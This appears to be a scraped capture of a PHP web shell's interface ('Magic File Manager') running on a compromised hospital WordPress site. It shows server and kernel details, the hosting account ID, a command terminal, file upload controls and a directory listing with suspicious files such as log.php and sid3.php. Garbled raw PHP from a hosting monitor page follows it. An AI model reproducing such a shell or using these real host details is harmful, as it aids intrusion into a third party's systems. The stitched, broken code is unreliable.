โœจ Magic File Manager

๐Ÿš€ Hostinger Optimized
๐Ÿ–ฅ๏ธ Server: Apache
๐Ÿ’ป System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
๐Ÿ‘ค User: pnj6a06usxf3 (9714991)
๐Ÿ˜ PHP: 8.1.34
๐Ÿšซ Disabled: โœจ NONE

๐Ÿ’ป Terminal

๐Ÿ“ /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

๐Ÿ“ Create New

โฌ†๏ธ Upload File

๐Ÿ“Š Max upload: 32M | ๐Ÿ“ฆ Max POST: 128M

๐Ÿ“„ Name๐Ÿ“Š Size๐Ÿ”’ Permโšก Actions
๐Ÿ“ .well-known--drwxr-xr-x
๐Ÿ“ shivshaktihospital.com--drwxr-xr-x
๐Ÿ“ wp-admin--drwxr-xr-x
๐Ÿ“ wp-content--drwxr-xr-x
๐Ÿ“ wp-includes--drwxr-xr-x
โš™๏ธ .htaccess0.88 KB-rw-r--r--
๐Ÿ“„ .htaccess.bk0.556 KB-rw-r--r--
๐Ÿ“„ error_log108.942 KB-rw-r--r--
๐Ÿ˜ index.php0.396 KB-rw-r--r--
๐Ÿ“ƒ license.txt19.437 KB-rw-r--r--
๐Ÿ˜ log.php63.893 KB-rw-r--r--
๐ŸŒ readme.html7.233 KB-rw-r--r--
๐Ÿ“ฆ shivshaktihospital.com.zip499.69 MB-rw-r--r--
๐Ÿ˜ sid3.php55.304 KB-rw-r--r--
๐Ÿ˜ wp-activate.php7.537 KB-rw-r--r--
๐Ÿ˜ wp-blog-header.php0.343 KB-rw-r--r--
๐Ÿ˜ wp-comments-post.php2.269 KB-rw-r--r--
๐Ÿ˜ wp-config-sample.php3.261 KB-rw-r--r--
๐Ÿ˜ wp-config.php3.16 KB-rw-r--r--
๐Ÿ˜ wp-cron.php5.485 KB-rw-r--r--
๐Ÿ˜ wp-links-opml.php2.435 KB-rw-r--r--
๐Ÿ˜ wp-load.php3.845 KB-rw-r--r--
๐Ÿ˜ wp-login.php51.305 KB-rw-r--r--
๐Ÿ˜ wp-mail.php8.522 KB-rw-r--r--
๐Ÿ˜ wp-settings.php32.375 KB-rw-r--r--
๐Ÿ˜ wp-signup.php34.259 KB-rw-r--r--
๐Ÿ˜ wp-trackback.php5.27 KB-rw-r--r--
๐Ÿ˜ xmlrpc.php3.13 KB-rw-r--r--
Monitor Test Page

This is a monitoring page.

PHP test passed; current time: ' . date("d F Y H:i:s O") . '

'; $php_passed = true; // Get server information for RUM $hostname = gethostname(); if ($hostname === false) { $hostname = php_uname('n'); if ($hostname === false) { $hostname = ''; } } // Determine application code based on hostname if (strpos($hostname, 'mcpnl') !== false) { $ap = 'cpbh-mt'; } elseif (strpos($hostname, 'zcpnl') !== false) { $ap = 'cpsh-oh'; } else { $ap = 'cpsh'; } // Determine environment and datacenter if (strpos($hostname, 'tl') !== false) { $basehost = 'test-secureserver.net'; preg_match('/^(.+?)tl/', $hostname, $matches); $dcenter = $matches[1] ?? ''; } else { // Production environment (default) $basehost = 'secureserver.net'; preg_match('/^(.+?)pl/', $hostname, $matches); $dcenter = $matches[1] ?? ''; } // Get CloudLinux version $cl_version = ''; if (file_exists('/etc/redhat-release')) { $release = file_get_contents('/etc/redhat-release'); if ($release !== false && preg_match('/([0-9])[.]/', $release, $matches)) { $cl_version = $matches[1]; } } // --- 2. MySQL Test --- $config_file = '../db_config.php'; if (!file_exists($config_file)) { echo '

MySQL failed: config file not found at ' . htmlspecialchars($config_file) . '

'; } elseif (!class_exists('mysqli')) { echo '

MySQL failed: mysqli extension not found.

'; } else { include($config_file); // CRITICAL CHECK: Handle the "Empty Password" scenario specifically if (empty($db_pass)) { echo '

MySQL failed: Password variable is empty in config file.

'; } else { try { // Using @ to suppress notices, but the try/catch handles the Fatal Exceptions $conn = @new mysqli($db_host, $db_user, $db_pass); if ($conn->connect_error) { echo '

MySQL failed: Connection Error (' . $conn->connect_errno . ') ' . $conn->connect_error . '

'; } else { $result = $conn->query("SELECT 2+2 AS result"); $row = $result ? $result->fetch_assoc() : null; if ($row && $row['result'] == 4) { echo '

MySQL test passed

'; $mysql_passed = true; } else { echo '

MySQL failed: Incorrect query response.

'; } $conn->close(); } } catch (Exception $e) { // This catches PHP 8.1+ mysqli exceptions (like Access Denied) // that would otherwise stop script execution. echo '

MySQL failed (Exception): ' . $e->getMessage() . '

'; } } } // --- 3. Final Summary Logic --- echo '

'; if ($php_passed && $mysql_passed) { echo 'All tests have passed'; } else { // Determine specific failure for the monitoring system to scrape $failed = []; if (!$php_passed) $failed[] = "PHP"; if (!$mysql_passed) $failed[] = "MySQL"; echo 'Critical Failure: ' . implode(" and ", $failed) . ' test(s) failed.'; // Set a non-200 HTTP header so external monitors (Icinga/UptimeRobot) see the failure http_response_code(500); } // Set fixed cPanel user ID for gdlinuxm canary account $cp_id = '100001'; ?>